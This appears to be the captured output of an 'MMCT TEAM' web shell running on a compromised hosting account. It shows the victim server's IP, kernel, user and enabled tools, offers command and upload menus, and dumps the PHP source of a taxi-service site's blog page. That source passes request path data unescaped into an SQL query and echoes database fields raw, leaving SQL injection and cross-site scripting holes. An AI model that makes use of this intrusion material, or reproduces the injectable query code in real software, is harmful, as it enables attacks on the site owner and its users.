MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.108.43
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/bhatiataxiservice.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/bhatiataxiservice.in/blog-details.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['slug_link'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tbl_blog` WHERE `slug_link`='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
 }
?>

<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Dial 4 Cab</title>
    <?php include "links.php";?>

</head>

<body>

    

    <?php include "header.php";?>

    <!-- breadcum area  -->
    
    <div class="breadcrumb breadcrumb-style-one">
        <div class="container">
            <div class="col-lg-12 text-center">
                <h1 class="breadcrumb-title"><span class="lst-words"><?php echo $datadt['title']?></span></h1>
                <ul class="d-flex justify-content-center breadcrumb-items">
                    <li class="breadcrumb-item"><a href="<?php echo $wspath;?>">Home</a></li>
                    <li class="breadcrumb-item active"><?php echo $datadt['title']?> </li>
                </ul>
            </div>
        </div>
    </div>


   <div class="blog-details-wrapper pt-80">
        <div class="container">
            <div class="row">
                <div class="col-lg-8">
                    <div class="blog-details">
                        
                        <div class="post-thumb">
                            <img  src="<?php echo $wspath;?>admin/images/property-image/<?php echo $datadt['image']?>" alt="<?php echo $datablog['title']?>">
                        </div>
                        <div class="post-body">
                            
                            <h2 class="post-title">
                                <?php echo $datadt['title']?>
                            </h2>
                            <div class="post-header">
                            
                            <div class="post-meta">
                                <a href="<?php echo $wspath;?>blog<?php echo $datadt['slug'];?>.html" class="blog-writer"><i class="bi bi-person-circle"></i><?php echo $datadt['meta_title']?></a>
                                <a href="<?php echo $wspath;?>blog<?php echo $datadt['slug'];?>.html" class="blog-comments"><i class="bi bi-calendar3"></i> <?php echo $datadt['date']?></a>
                                
                            </div>
                        </div>
                            <p><?php echo $datadt['short_description'];?></p>
                            <p><?php echo $datadt['description'];?></p>
                        </div>
                    </div>
                </div>
                <div class="col-lg-4">
                    <div class="blog-sidebar ">
                        <aside class="blog-widget widget-categories mt-30">
                            <div class="widget-title">
                                <h4>Latest Blogs</h4>
                            </div>
                            <ul class="widget-body">
                                <?php
                                        $sqlblog = "SELECT * FROM `tbl_blog` ORDER BY b_id DESC LIMIT 5";
                                        $runblog = mysqli_query($db,$sqlblog) or die("Query Not run");
                                        while($datablog = mysqli_fetch_assoc($runblog)){
                                ?>
                                <li><a href="<?php echo $wspath;?>blog<?php echo $datablog['slug_link'];?>.html">
                                        <h6><i class="bi bi-chevron-double-right"></i> <?php echo $datablog['title']?></h6>
                                    </a></li>
                                <?php } ?>
                                
                            </ul>
                        </aside>
                    </div>
                </div>
            </div>
        </div>
    </div>

   


    <?php include "footer.php" ?>

</html>

MMCT - 2023